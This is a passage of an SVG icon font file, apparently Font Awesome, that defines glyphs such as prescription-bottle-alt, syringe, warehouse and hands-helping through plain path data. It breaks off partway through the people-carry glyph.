    <glyph glyph-name="prescription-bottle-alt" unicode="&#xf486;" horiz-adv-x="384" 
d="M360 448c13.2002 0 24 -10.7998 24 -24v-48c0 -13.2002 -10.7998 -24 -24 -24h-336c-13.2002 0 -24 10.7998 -24 24v48c0 13.2002 10.7998 24 24 24h336zM32 -32v352h320v-352c0 -17.5996 -14.4004 -32 -32 -32h-256c-17.5996 0 -32 14.4004 -32 32zM96 152v-48
c0 -4.40039 3.59961 -8 8 -8h56v-56c0 -4.40039 3.59961 -8 8 -8h48c4.40039 0 8 3.59961 8 8v56h56c4.40039 0 8 3.59961 8 8v48c0 4.40039 -3.59961 8 -8 8h-56v56c0 4.40039 -3.59961 8 -8 8h-48c-4.40039 0 -8 -3.59961 -8 -8v-56h-56c-4.40039 0 -8 -3.59961 -8 -8z
" />
    <glyph glyph-name="procedures" unicode="&#xf487;" horiz-adv-x="640" 
d="M528 224c61.9004 0 112 -50.0996 112 -112v-160c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v48h-512v-48c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v352c0 8.7998 7.2002 16 16 16h32c8.7998 0 16 -7.2002 16 -16v-240h192
v144c0 8.7998 7.2002 16 16 16h256zM136 352c-4.40039 0 -8 3.59961 -8 8v16c0 4.40039 3.59961 8 8 8h140.9c3.09961 0 5.7998 -1.7002 7.19922 -4.40039l19.9004 -39.7998l49.7002 99.4004c5.89941 11.7998 22.7002 11.7998 28.5996 0l27.6006 -55.2002h102.1
c8.7998 0 16 -7.2002 16 -16s-7.2002 -16 -16 -16h-121.9l-22.0996 44.2002l-49.7002 -99.4004c-5.89941 -11.7998 -22.7002 -11.7998 -28.5996 0l-27.6006 55.2002h-126.1zM160 96c-35.2998 0 -64 28.7002 -64 64s28.7002 64 64 64s64 -28.7002 64 -64
s-28.7002 -64 -64 -64z" />
    <glyph glyph-name="shipping-fast" unicode="&#xf48b;" horiz-adv-x="640" 
d="M624 96c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-48c0 -53 -43 -96 -96 -96s-96 43 -96 96h-128c0 -53 -43 -96 -96 -96s-96 43 -96 96v128h152c4.40039 0 8 3.59961 8 8v16c0 4.40039 -3.59961 8 -8 8h-208c-4.40039 0 -8 3.59961 -8 8v16
c0 4.40039 3.59961 8 8 8h240c4.40039 0 8 3.59961 8 8v16c0 4.40039 -3.59961 8 -8 8h-208c-4.40039 0 -8 3.59961 -8 8v16c0 4.40039 3.59961 8 8 8h240c4.40039 0 8 3.59961 8 8v16c0 4.40039 -3.59961 8 -8 8h-272c-4.40039 0 -8 3.59961 -8 8v16
c0 4.40039 3.59961 8 8 8h56v48c0 26.5 21.5 48 48 48h256c26.5 0 48 -21.5 48 -48v-48h44.0996c12.7002 0 24.9004 -5.09961 33.9004 -14.0996l99.9004 -99.9004c9 -9 14.0996 -21.2002 14.0996 -33.9004v-108.1h16zM160 -16c26.5 0 48 21.5 48 48s-21.5 48 -48 48
s-48 -21.5 -48 -48s21.5 -48 48 -48zM480 -16c26.5 0 48 21.5 48 48s-21.5 48 -48 48s-48 -21.5 -48 -48s21.5 -48 48 -48zM560 192v12.0996l-99.9004 99.9004h-44.0996v-112h144z" />
    <glyph glyph-name="smoking" unicode="&#xf48d;" horiz-adv-x="640" 
d="M632 96c4.40039 0 8 -3.59961 8 -8v-144c0 -4.40039 -3.59961 -8 -8 -8h-48c-4.40039 0 -8 3.59961 -8 8v144c0 4.40039 3.59961 8 8 8h48zM553.3 360.9c54.2998 -36.4004 86.7002 -97.1006 86.7002 -162.601v-30.2998c0 -4.40039 -3.59961 -8 -8 -8h-48
c-4.40039 0 -8 3.59961 -8 8v30.2998c0 50.2002 -25.2002 96.7002 -67.4004 124c-18.3994 12 -28.5996 33.4004 -28.5996 55.4004v62.2998c0 4.40039 3.59961 8 8 8h48c4.40039 0 8 -3.59961 8 -8v-62.2998c0 -6.7998 3.59961 -13 9.2998 -16.7998zM432 96
c8.7998 0 16 -7.2002 16 -16v-128c0 -8.7998 -7.2002 -16 -16 -16h-384c-26.5 0 -48 21.5 -48 48v64c0 26.5 21.5 48 48 48h384zM400 -16v64h-176v-64h176zM487.7 306.4c35.2998 -24.7002 56.2998 -64.8008 56.2998 -108.101v-30.2998c0 -4.40039 -3.59961 -8 -8 -8h-48
c-4.40039 0 -8 3.59961 -8 8v30.2998c0 27.4004 -13.2998 52.9004 -35.7002 68.6006c-35.7002 25.0996 -60.2998 63 -60.2998 106.699v66.4004c0 4.40039 3.59961 8 8 8h48c4.40039 0 8 -3.59961 8 -8v-62.2998c0 -29 15.7998 -54.7002 39.7002 -71.2998zM536 96
c4.40039 0 8 -3.59961 8 -8v-144c0 -4.40039 -3.59961 -8 -8 -8h-48c-4.40039 0 -8 3.59961 -8 8v144c0 4.40039 3.59961 8 8 8h48z" />
    <glyph glyph-name="syringe" unicode="&#xf48e;" 
d="M201.5 273.2l64.9004 65l135.699 -135.7l-181.899 -181.9c-17.5 -17.5996 -41.5 -25.5996 -65.4004 -23l-63.5996 7.10059l-66.2998 -66.2998c-3.10059 -3.10059 -8.2002 -3.10059 -11.3008 0l-11.2998 11.2998c-3.09961 3.09961 -3.09961 8.2002 0 11.2998
l66.4004 66.4004l-7.10059 63.5996c-2.59961 24.2998 5.7002 48.0996 23 65.4004l26.4004 26.3994l55.7998 -55.8994c3.10059 -3.10059 8.2002 -3.10059 11.2998 0l11.3008 11.2998c3.09961 3.09961 3.09961 8.2002 0 11.2998l-55.8008 55.7998l45.3008 45.2998
l55.6992 -55.7998c3.10059 -3.09961 8.2002 -3.09961 11.3008 0l11.2998 11.2998c3.09961 3.10059 3.09961 8.2002 0 11.3008zM509.7 366.5c3.09961 -3.2002 3.09961 -8.2002 0 -11.4004l-11.2998 -11.2998c-3.10059 -3.09961 -8.2002 -3.09961 -11.3008 0l-28.2998 28.2998
l-45.2998 -45.2998l73.5 -73.5c3.09961 -3.09961 3.09961 -8.2002 0 -11.2998l-33.9004 -34c-3.09961 -3.09961 -8.19922 -3.09961 -11.2998 0l-17 17l-135.7 135.9l-17 17c-3.09961 3.09961 -3.09961 8.19922 0 11.2998l33.9004 33.8994
c3.09961 3.10059 8.2002 3.10059 11.2998 0l17 -17l56.6006 -56.5996l45.2998 45.2998l-28.2998 28.2998c-3.10059 3.10059 -3.10059 8.2002 0 11.3008l11.2998 11.2998c3.09961 3.09961 8.2002 3.09961 11.2998 0z" />
    <glyph glyph-name="tablets" unicode="&#xf490;" horiz-adv-x="640" 
d="M160 256c81.0996 0 147.5 -58.5 160 -134.7c0.799805 -4.7998 -3.2998 -9.2998 -8.2998 -9.2998h-303.3c-5 0 -9.10059 4.5 -8.30078 9.2998c12.4004 76.2002 78.8008 134.7 159.9 134.7zM311.6 80c5 0 9.10059 -4.5 8.30078 -9.2998
c-12.4004 -76.2002 -78.8008 -134.7 -159.9 -134.7s-147.5 58.5 -159.9 134.7c-0.799805 4.7998 3.30078 9.2998 8.30078 9.2998h303.199zM593.4 401.4c56.5 -56.5 61.3994 -144.2 15.8994 -206.9c-2.7998 -4 -8.7998 -4.2998 -12.2998 -0.799805l-211.3 211.399
c-3.5 3.40039 -3.2002 9.40039 0.799805 12.3008c62.7002 45.3994 150.4 40.5 206.9 -16zM363 382.3l211.3 -211.3c3.5 -3.40039 3.2002 -9.40039 -0.799805 -12.2998c-62.7002 -45.5 -150.4 -40.6006 -206.9 15.8994c-56.3994 56.5 -61.2998 144.2 -15.8994 206.9
c2.7998 4 8.7998 4.2998 12.2998 0.799805z" />
    <glyph glyph-name="thermometer" unicode="&#xf491;" 
d="M476.8 427.6c49.4004 -40.6992 42.1006 -107.3 7.2002 -142.199l-254.2 -253.301h-99.8994l-89 -89c-9.30078 -9.39941 -24.5 -9.39941 -33.9004 0c-9.40039 9.30078 -9.40039 24.5 0 33.9004l89 89v100.9l45.2998 45.6992l50.1006 -50.1992
c3.09961 -3.10059 8.19922 -3.10059 11.2998 0l11.2998 11.2998c3.09961 3.09961 3.09961 8.2002 0 11.2998l-50.0996 50.2002l45.0996 45.3994l50.2998 -50.1992c3.10059 -3.10059 8.2002 -3.10059 11.2998 0l11.3008 11.2998c3.09961 3.09961 3.09961 8.2002 0 11.2998
l-50.3008 50.4004l45.1006 45.3994l50.3994 -50.5c3.10059 -3.09961 8.2002 -3.09961 11.3008 0l11.2998 11.2998c3.09961 3.10059 3.09961 8.2002 0 11.3008l-50.5 50.5l45.7002 46c36.3994 36.5 94.3994 40.8994 131.899 10.1992z" />
    <glyph glyph-name="vial" unicode="&#xf492;" horiz-adv-x="480" 
d="M477.7 261.9c3.09961 -3.10059 3.09961 -8.2002 0 -11.2002l-34 -33.9004c-3.10059 -3.09961 -8.2002 -3.09961 -11.2998 0l-11.2002 11.1006l-246.3 -245.7c-20.1006 -20.1006 -46.5 -30.1006 -72.9004 -30.1006c-28.9004 -0.0996094 -57.7998 11.9004 -78.4004 35.9004
c-35.6992 41.5 -29.3994 104.8 9.40039 143.5l242.4 241.9l-11.2002 11.0996c-3.10059 3.09961 -3.10059 8.2002 0 11.2998l34 33.9004c3.09961 3.09961 8.2002 3.09961 11.2998 0zM318 192l69.5 69.4004l-78.5 78.2998l-148 -147.7h157z" />
    <glyph glyph-name="vials" unicode="&#xf493;" horiz-adv-x="640" 
d="M72 384c-4.40039 0 -8 3.59961 -8 8v48c0 4.40039 3.59961 8 8 8h208c4.40039 0 8 -3.59961 8 -8v-48c0 -4.40039 -3.59961 -8 -8 -8h-24v-240c0 -44.0996 -35.9004 -80 -80 -80s-80 35.9004 -80 80v240h-24zM144 384v-96h64v96h-64zM624 0c8.7998 0 16 -7.2002 16 -16
v-32c0 -8.7998 -7.2002 -16 -16 -16h-608c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h608zM360 384c-4.40039 0 -8 3.59961 -8 8v48c0 4.40039 3.59961 8 8 8h208c4.40039 0 8 -3.59961 8 -8v-48c0 -4.40039 -3.59961 -8 -8 -8h-24v-240
c0 -44.0996 -35.9004 -80 -80 -80s-80 35.9004 -80 80v240h-24zM432 384v-96h64v96h-64z" />
    <glyph glyph-name="warehouse" unicode="&#xf494;" horiz-adv-x="640" 
d="M504 96c4.40039 0 8 -3.59961 8 -8v-48c0 -4.40039 -3.59961 -8 -8 -8h-367.7c-4.39941 0 -8 3.59961 -8 8l0.100586 48c0 4.40039 3.59961 8 8 8h367.6zM504 0c4.40039 0 8 -3.59961 8 -8v-48c0 -4.40039 -3.59961 -8 -8 -8h-368c-4.40039 0 -8 3.59961 -8 8
l0.0996094 48c0 4.40039 3.60059 8 8 8h367.9zM504 192c4.40039 0 8 -3.59961 8 -8v-48c0 -4.40039 -3.59961 -8 -8 -8h-367.5c-4.40039 0 -8 3.59961 -8 8l0.0996094 48c0 4.40039 3.60059 8 8 8h367.4zM610.5 331c17.7998 -7.5 29.5 -24.9004 29.5 -44.2998v-342.7
c0 -4.40039 -3.59961 -8 -8 -8h-80c-4.40039 0 -8 3.59961 -8 8v248c0 17.5996 -14.5996 32 -32.5996 32h-382.801c-18 0 -32.5996 -14.4004 -32.5996 -32v-248c0 -4.40039 -3.59961 -8 -8 -8h-80c-4.40039 0 -8 3.59961 -8 8v342.7c0 19.3994 11.7002 36.7998 29.5 44.2998
l272 113.3c4.89062 2.0293 13.1553 3.6748 18.4502 3.6748c5.29395 0 13.5596 -1.64551 18.4502 -3.6748z" />
    <glyph glyph-name="weight" unicode="&#xf496;" 
d="M448 384c35.29 0 64 -28.71 64 -64v-320c0 -35.29 -28.71 -64 -64 -64h-384c-35.29 0 -64 28.71 -64 64v320c0 35.29 28.71 64 64 64h25.9805c-16.4209 -28.2803 -25.9805 -61.0098 -25.9805 -96c0 -105.87 86.1299 -192 192 -192s192 86.1299 192 192
c0 34.9902 -9.55957 67.7197 -25.9805 96h25.9805zM256 128c-88.3701 0 -160 71.6299 -160 160s71.6299 160 160 160s160 -71.6299 160 -160s-71.6299 -160 -160 -160zM255.7 279.94c-21.9404 -0.170898 -39.7002 -17.96 -39.7002 -39.9404c0 -22.0898 17.9102 -40 40 -40
s40 17.9102 40 40c0 10.5498 -4.26953 20 -10.9502 27.1602l33.6699 78.5498c3.4707 8.11035 -0.290039 17.5205 -8.41016 21c-8.08984 3.50977 -17.5293 -0.240234 -21.0293 -8.41016z" />
    <glyph glyph-name="x-ray" unicode="&#xf497;" horiz-adv-x="640" 
d="M240 64c8.7998 0 16 -7.2002 16 -16s-7.2002 -16 -16 -16s-16 7.2002 -16 16s7.2002 16 16 16zM400 32c-8.7998 0 -16 7.2002 -16 16s7.2002 16 16 16s16 -7.2002 16 -16s-7.2002 -16 -16 -16zM624 448c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16
h-608c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h608zM624 0c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-608c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h48v352h512v-352h48zM480 200v16c0 4.40039 -3.59961 8 -8 8
h-136v32h104c4.40039 0 8 3.59961 8 8v16c0 4.40039 -3.59961 8 -8 8h-104v24c0 4.40039 -3.59961 8 -8 8h-16c-4.40039 0 -8 -3.59961 -8 -8v-24h-104c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h104v-32h-136c-4.40039 0 -8 -3.59961 -8 -8v-16
c0 -4.40039 3.59961 -8 8 -8h136v-32h-104c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h104v-32h-64c-26.5 0 -48 -21.5 -48 -48s21.5 -48 48 -48s48 21.5 48 48v16h64v-16c0 -26.5 21.5 -48 48 -48s48 21.5 48 48s-21.5 48 -48 48h-64v32h104
c4.40039 0 8 3.59961 8 8v16c0 4.40039 -3.59961 8 -8 8h-104v32h136c4.40039 0 8 3.59961 8 8z" />
    <glyph glyph-name="box-open" unicode="&#xf49e;" horiz-adv-x="640" 
d="M425.7 192c4.5 0 9 0.599609 13.2998 1.90039l137 39.0996v-178c0 -14.5996 -10 -27.4004 -24.2002 -31l-216.399 -54.0996c-10.1006 -2.5 -20.8008 -2.5 -31 0l-216.2 54.0996c-14.2002 3.5 -24.2002 16.2998 -24.2002 31v178l137 -39.2002
c4.2998 -1.2998 8.7998 -1.89941 13.2998 -1.89941c16.9004 0 32.7998 9 41.5 23.5l64.2002 106.6l64.2998 -106.6c8.60059 -14.4004 24.5 -23.4004 41.4004 -23.4004zM638.3 304.2c4.5 -9.2002 -0.299805 -20.2002 -10.2002 -23.1006l-197.899 -56.5
c-7.10059 -2 -14.7002 1 -18.5 7.30078l-91.7002 152.1l250.1 31.9004c6.90039 0.899414 13.6006 -2.7002 16.7002 -8.90039zM53.2002 407c3.09961 6.2002 9.7002 9.7002 16.5996 8.90039l250.2 -31.9004l-91.7998 -152c-3.7998 -6.2998 -11.4004 -9.2998 -18.5 -7.2998
l-197.9 56.5c-9.7998 2.7998 -14.7002 13.7998 -10.0996 23z" />
    <glyph glyph-name="comment-dots" unicode="&#xf4ad;" 
d="M256 416c141.4 0 256 -93.0996 256 -208s-114.6 -208 -256 -208c-38.4004 0 -74.7002 7.09961 -107.4 19.4004c-24.5996 -19.6006 -74.2998 -51.4004 -140.6 -51.4004c-3.2002 0 -6 1.7998 -7.2998 4.7998s-0.700195 6.40039 1.5 8.7002
c0.5 0.5 42.2998 45.4004 54.7998 95.7998c-35.5996 35.7002 -57 81.1006 -57 130.7c0 114.9 114.6 208 256 208zM128 176c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM256 176c17.7002 0 32 14.2998 32 32
s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM384 176c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32z" />
    <glyph glyph-name="comment-slash" unicode="&#xf4b3;" horiz-adv-x="640" 
d="M64 208c0 18.5996 3.2998 36.5 8.90039 53.5996l325.5 -251.6c-24.7002 -6.40039 -51 -10 -78.4004 -10c-38.4004 0 -74.7002 7.09961 -107.4 19.4004c-24.5996 -19.6006 -74.2998 -51.4004 -140.6 -51.4004c-3.2002 0 -6 1.90039 -7.2998 4.7998
c-1.2998 3 -0.700195 6.40039 1.5 8.7002c0.5 0.599609 42.2002 45.5 54.7998 95.7998c-35.5996 35.7002 -57 81.1006 -57 130.7zM633.8 -10.0996c7 -5.40039 8.2998 -15.5 2.90039 -22.3008l-19.6006 -25.2998c-5.5 -7 -15.5 -8.2002 -22.5 -2.7998l-588.399 454.7
c-7 5.39941 -8.2002 15.3994 -2.7998 22.3994l19.5996 25.2002c5.5 7 15.5 8.2002 22.5 2.7998l105.1 -81.2998c45.2002 32.6006 104.301 52.7002 169.4 52.7002c141.4 0 256 -93.0996 256 -208c0 -49.2002 -21.4004 -94.0996 -56.5996 -129.7z" />
    <glyph glyph-name="couch" unicode="&#xf4b8;" horiz-adv-x="640" 
d="M160 224c0 35.2998 -28.7002 64 -64 64h-32c0 53 43 96 96 96h320c53 0 96 -43 96 -96h-32c-35.2998 0 -64 -28.7002 -64 -64v-64h-320v64zM576 256c35.2998 0 64 -28.7002 64 -64c0 -23.5996 -13 -44 -32 -55.0996v-120.9c0 -8.7998 -7.2002 -16 -16 -16h-64
c-8.7998 0 -16 7.2002 -16 16v16h-384v-16c0 -8.7998 -7.2002 -16 -16 -16h-64c-8.7998 0 -16 7.2002 -16 16v120.9c-19 11.0996 -32 31.5 -32 55.0996c0 35.2998 28.7002 64 64 64h32c17.7002 0 32 -14.2998 32 -32v-96h384v96c0 17.7002 14.2998 32 32 32h32z" />
    <glyph glyph-name="donate" unicode="&#xf4b9;" 
d="M256 32c-114.9 0 -208 93.0996 -208 208s93.0996 208 208 208s208 -93.0996 208 -208s-93.0996 -208 -208 -208zM233.8 350.6c-32.7002 -0.899414 -59 -28.3994 -59.0996 -62.3994c0 -27.7002 18 -52.4004 43.7002 -60.1006l62.2998 -18.6992
c7.09961 -2.10059 12.0996 -9.40039 12.0996 -17.6006c0 -10.0996 -7.2998 -18.2998 -16.2998 -18.2998h-38.9004c-6.39941 0 -12.3994 1.7002 -17.7998 5.09961c-4.5 2.80078 -10.2002 2.7002 -14 -1l-16.2998 -15.5c-5 -4.7998 -4.40039 -13 1.2002 -17.0996
c12.5 -9.2998 27.5 -14.5996 43 -15.4004v-17c0 -9.19922 7.39941 -16.5996 16.5996 -16.5996h11.1006c9.19922 0 16.5996 7.40039 16.5996 16.5996v16.8008c32.7002 0.899414 59.0996 28.3994 59.0996 62.3994c0 27.7002 -18 52.4004 -43.6992 60.1006l-62.3008 18.6992
c-7.09961 2.10059 -12.0996 9.40039 -12.0996 17.6006c0 10.0996 7.2998 18.2998 16.2998 18.2998h38.9004c6.39941 0 12.3994 -1.7002 17.7998 -5.09961c4.5 -2.80078 10.2002 -2.7002 14 1l16.2998 15.5c5 4.7998 4.40039 13 -1.2002 17.0996
c-12.5 9.2998 -27.5 14.5996 -43 15.4004v17c0 9.19922 -7.39941 16.5996 -16.5996 16.5996h-11.0996c-9.2002 0 -16.6006 -7.40039 -16.6006 -16.5996v-16.8008zM480 96c17.7002 0 32 -14.2998 32 -32v-96c0 -17.7002 -14.2998 -32 -32 -32h-448
c-17.7002 0 -32 14.2998 -32 32v96c0 17.7002 14.2998 32 32 32h32.4004c19.6992 -26 44.5996 -47.7002 73 -64h-63.8008c-5.2998 0 -9.59961 -3.59961 -9.59961 -8v-16c0 -4.40039 4.2998 -8 9.59961 -8h364.7c5.2998 0 9.60059 3.59961 9.60059 8v16
c0 4.40039 -4.30078 8 -9.60059 8h-63.7998c28.4004 16.2998 53.4004 38 73 64h32.5z" />
    <glyph glyph-name="dove" unicode="&#xf4ba;" 
d="M288 280.8c-50.7998 10.5 -96.5996 36.7998 -130.8 75.1006c11.2002 32.3994 27.7998 61.5996 48.8994 86.5c8.80078 10.5 25.7002 5.19922 27.8008 -8.30078c7 -45.8994 25.8994 -88.8994 54.0996 -125.199v-28.1006zM400 384h112l-32 -64v-160.1
c0 -88.4004 -71.5996 -159.9 -160 -159.9h-76.9004l-65.1992 -56.0996c-6.10059 -5.30078 -14.1006 -8.2002 -22.1006 -7.90039c-92.7998 3.7998 -135.8 49.4004 -153.2 76.2998c-6 9.2998 -1.19922 21.7002 9.5 24.4004l143.9 36
c-12.7998 9.59961 -25.7002 20.0996 -38.9004 32.7998c-51 49 -85.0996 115.1 -85.0996 185.9c0 41.3994 9.40039 80.5996 26 115.699c5.7998 12.3008 23.5 11.6006 29 -0.899414c40 -91.2002 128.6 -155.5 233 -161.7v59.4004c0 44.1992 35.7998 80.0996 80 80.0996z
M400 287.9c8.7998 0 16 7.19922 16 16c0 8.7998 -7.2002 16 -16 16s-16 -7.2002 -16 -16c0 -8.80078 7.2002 -16 16 -16z" />
    <glyph glyph-name="hand-holding" unicode="&#xf4bd;" horiz-adv-x="576" 
d="M565.3 119.9c15.1006 -13.6006 13.9004 -36.8008 -1.2998 -48.9004l-151.2 -121c-11.3994 -9.09961 -25.5 -14 -40 -14h-356.8c-8.7998 0 -16 7.2002 -16 16v96c0 8.7998 7.2002 16 16 16h55.4004l46.5 37.7002c21 17 47.0996 26.2998 74.0996 26.2998h160
c19.5 0 34.9004 -17.4004 31.5996 -37.4004c-2.59961 -15.6992 -17.3994 -26.5996 -33.2998 -26.5996h-78.2998c-8.7998 0 -16 -7.2002 -16 -16s7.2002 -16 16 -16h118.3c14.6006 0 28.7002 4.90039 40 14l92.4004 73.9004c12.3994 10 30.7998 10.6992 42.5996 0z" />
    <glyph glyph-name="hand-holding-heart" unicode="&#xf4be;" horiz-adv-x="576" 
d="M275.3 197.5l-108.899 114.2c-31.6006 33.2002 -29.7002 88.2002 5.59961 118.8c30.7998 26.7002 76.7002 21.9004 104.9 -7.7998l11.0996 -11.6006l11.2002 11.7002c28.2002 29.6006 74.0996 34.4004 104.899 7.7002c35.4004 -30.5996 37.2002 -85.5996 5.60059 -118.8
l-108.9 -114.2c-7.09961 -7.40039 -18.5 -7.40039 -25.5 0zM565.3 119.9c15.1006 -13.6006 13.9004 -36.8008 -1.2998 -48.9004l-151.2 -121c-11.3994 -9.09961 -25.5 -14 -40 -14h-356.8c-8.7998 0 -16 7.2002 -16 16v96c0 8.7998 7.2002 16 16 16h55.4004l46.5 37.7002
c21 17 47.0996 26.2998 74.0996 26.2998h160c19.5 0 34.9004 -17.4004 31.5996 -37.4004c-2.59961 -15.6992 -17.3994 -26.5996 -33.2998 -26.5996h-78.2998c-8.7998 0 -16 -7.2002 -16 -16s7.2002 -16 16 -16h118.3c14.6006 0 28.7002 4.90039 40 14l92.4004 73.9004
c12.3994 10 30.7998 10.6992 42.5996 0z" />
    <glyph glyph-name="hand-holding-usd" unicode="&#xf4c0;" horiz-adv-x="576" 
d="M271.06 303.7c-24.0596 6.39941 -43.4297 24.7002 -46.5693 47.7002c-4.33984 32 20.6201 59.3994 53.5098 63v17.5996c0 8.7998 7.82031 16 17.3701 16h17.3701c9.5498 0 17.3701 -7.2002 17.3701 -16v-17.7197c10.2324 -1.05566 25.6982 -6.20801 34.5195 -11.5
c3.05469 -1.83984 5.53418 -6.22656 5.53418 -9.79199c0 -1.78516 -0.758789 -4.46777 -1.69434 -5.98828c-0.490234 -0.808594 -1.46191 -1.97266 -2.16992 -2.59961l-19 -17.5c-4.01953 -3.7002 -10.0693 -4.2002 -15.2998 -2
c-2.98145 1.20898 -8.0127 2.19434 -11.2305 2.19922h-35.5996c-5.03027 0 -9.12012 -3.7998 -9.12012 -8.39941c0.112305 -3.6416 3.08301 -7.27051 6.62988 -8.10059l54.2705 -14.2998c24.0996 -6.39941 43.4102 -24.7002 46.5596 -47.7002
c4.33984 -32 -20.5693 -59.3994 -53.5 -63v-17.5996c0 -8.7998 -7.83008 -16 -17.3799 -16h-17.3701c-9.54004 0 -17.3701 7.2002 -17.3701 16v17.7002c-10.2305 1.05566 -25.6904 6.20703 -34.5098 11.5c-3.06348 1.83594 -5.54883 6.22363 -5.54883 9.79492
c0 1.77051 0.74707 4.43359 1.66895 5.94531c0.510742 0.827148 1.51855 2.01953 2.25 2.65918l19 17.5c4.01953 3.7002 10.0596 4.2002 15.2998 2c2.9707 -1.20508 7.98438 -2.19043 11.1904 -2.19922h35.5996c5.03027 0 9.12012 3.7998 9.12012 8.39941
c-0.112305 3.6416 -3.08203 7.27051 -6.62988 8.10059zM565.27 119.9c5.92383 -5.26953 10.7432 -15.9814 10.7432 -23.9102c0 -8.49121 -5.38184 -19.6865 -12.0127 -24.9902l-151.23 -121c-9.67188 -7.72754 -27.5693 -14 -39.9492 -14h-0.0507812h-356.77
c-8.83203 0 -16 7.16797 -16 16v96c0 8.83203 7.16797 16 16 16h55.4004l46.5 37.71c17.8789 14.5059 51.0762 26.2842 74.0996 26.29h160v0c17.6309 0 31.9668 -14.3096 32 -31.9404v-0.120117c0 -1.48438 -0.206055 -3.87695 -0.459961 -5.33984
c-2.54004 -15.6992 -17.3496 -26.5996 -33.25 -26.5996h-78.29c-8.83203 0 -16 -7.16797 -16 -16s7.16797 -16 16 -16h118.27h0.176758c12.3496 0 30.1904 6.27148 39.8232 14l92.4004 73.9004c12.4004 10 30.7998 10.6992 42.5996 0z" />
    <glyph glyph-name="hands" unicode="&#xf4c2;" horiz-adv-x="640" 
d="M204.8 217.6l57.6006 -76.7998c16.5996 -22.2002 25.5996 -49.0996 25.5996 -76.7998v-112c0 -8.7998 -7.2002 -16 -16 -16h-131.7c-7.2002 0 -13.5 4.7002 -15.2998 11.5996c-2 7.80078 -5.40039 15.2002 -10.4004 21.7002l-104.1 134.3
c-6.7998 8.5 -10.5 19.1006 -10.5 30v218.4c0 17.7002 14.2998 32 32 32s32 -14.2998 32 -32v-148.4l89.7998 -107.8c6 -7.2998 16.9004 -7.7998 23.6006 -1.09961l12.7998 12.7998c5.59961 5.59961 6.2998 14.5 1.5 20.9004l-38.1006 50.7998
c-10.5996 14.0996 -7.69922 34.2002 6.40039 44.7998s34.2002 7.7002 44.7998 -6.40039zM608 384c17.7002 0 32 -14.2998 32 -32v-218.4c0 -10.8994 -3.7002 -21.5 -10.5 -30l-104.1 -134.3c-5 -6.5 -8.40039 -13.8994 -10.4004 -21.7002
c-1.7998 -6.89941 -8.2002 -11.5996 -15.2998 -11.5996h-131.7c-8.7998 0 -16 7.2002 -16 16v112c0 27.7002 9 54.5996 25.5996 76.7998l57.6006 76.7998c10.5996 14.1006 30.7002 17 44.7998 6.40039s17 -30.7002 6.40039 -44.7998l-38.1006 -50.7998
c-4.7998 -6.40039 -4.09961 -15.3008 1.5 -20.9004l12.7998 -12.7998c6.60059 -6.60059 17.6006 -6.10059 23.6006 1.09961l89.7998 107.8v148.4c0 17.7002 14.2998 32 32 32z" />
    <glyph glyph-name="hands-helping" unicode="&#xf4c4;" horiz-adv-x="640" 
d="M488 256c13.2998 0 24 -10.7002 24 -24v-48c0 -13.2998 -10.7002 -24 -24 -24h-8v-64c0 -17.7002 -14.2998 -32 -32 -32h-16c0 -35.2998 -28.7002 -64 -64 -64h-136.6l-103.4 -59.7002c-15.2998 -8.7998 -34.9004 -3.59961 -43.7002 11.7002l-80 138.6
c-8.89941 15.3008 -3.59961 34.9004 11.7002 43.7002l80 46.2002v47.2998c0 22.4004 11.7998 43.2998 31.0996 54.7998l64.9004 39v-121.6c0 -39.7002 32.2998 -72 72 -72s72 32.2998 72 72v56h152zM635.7 293.4c8.7998 -15.3008 3.59961 -34.8008 -11.7002 -43.7002
l-80 -46.2002v28.5c0 30.9004 -25.0996 56 -56 56h-184v-88c0 -22.0996 -17.9004 -40 -40 -40s-40 17.9004 -40 40v126.3c0 11 5.59961 21.2998 15 27.1006l33.5 20.8994c10.2002 6.2998 21.9004 9.7002 33.9004 9.7002h102.199l103.4 59.7002
c15.2998 8.7998 34.9004 3.59961 43.7002 -11.7002z" />
    <glyph glyph-name="parachute-box" unicode="&#xf4cd;" 
d="M511.9 273c1.09961 -9.2002 -6.80078 -17 -16.1006 -17h-8.7002l-136.8 -151.9c0.700195 -2.69922 1.60059 -5.19922 1.60059 -8.09961v-128c0 -17.7002 -14.3008 -32 -32 -32h-128c-17.7002 0 -32 14.2998 -32 32v128c0 2.90039 0.899414 5.5 1.59961 8.09961
l-136.7 151.9h-8.7002c-9.19922 0 -17.0996 7.90039 -16 17c9.10059 75.5 78.4004 132.3 158.301 158.7c-36.4004 -39.4004 -62.4004 -100.601 -62.4004 -175.7h-28.0996l116.6 -129.5c2.5 0.599609 4.7998 1.5 7.5 1.5h48v128h-112c0 115.2 68.9004 192 128 192
s128 -76.7998 128 -192h-112v-128h48c2.7002 0 5 -0.900391 7.5 -1.5l116.6 129.5h-28.0996c0 75.0996 -26 136.3 -62.4004 175.7c79.9004 -26.2998 149.2 -83.1006 158.301 -158.7z" />
    <glyph glyph-name="people-carry" unicode="&#xf4ce;" horiz-adv-x="640" 
d="M128 352c-26.5 0 -48 21.5 -48 48s21.5 48 48 48s48 -21.5 48 -48s-21.5 -48 -48 -48zM512 352c-26.5 0 -48 21.5 -48 48s21.5 48 48 48s48 -21.5 48 -48s-21.5 -48 -48 -48zM637.7 -20.0996c6.59961 -16.4004 -1.40039 -35 -17.7998 -41.6006
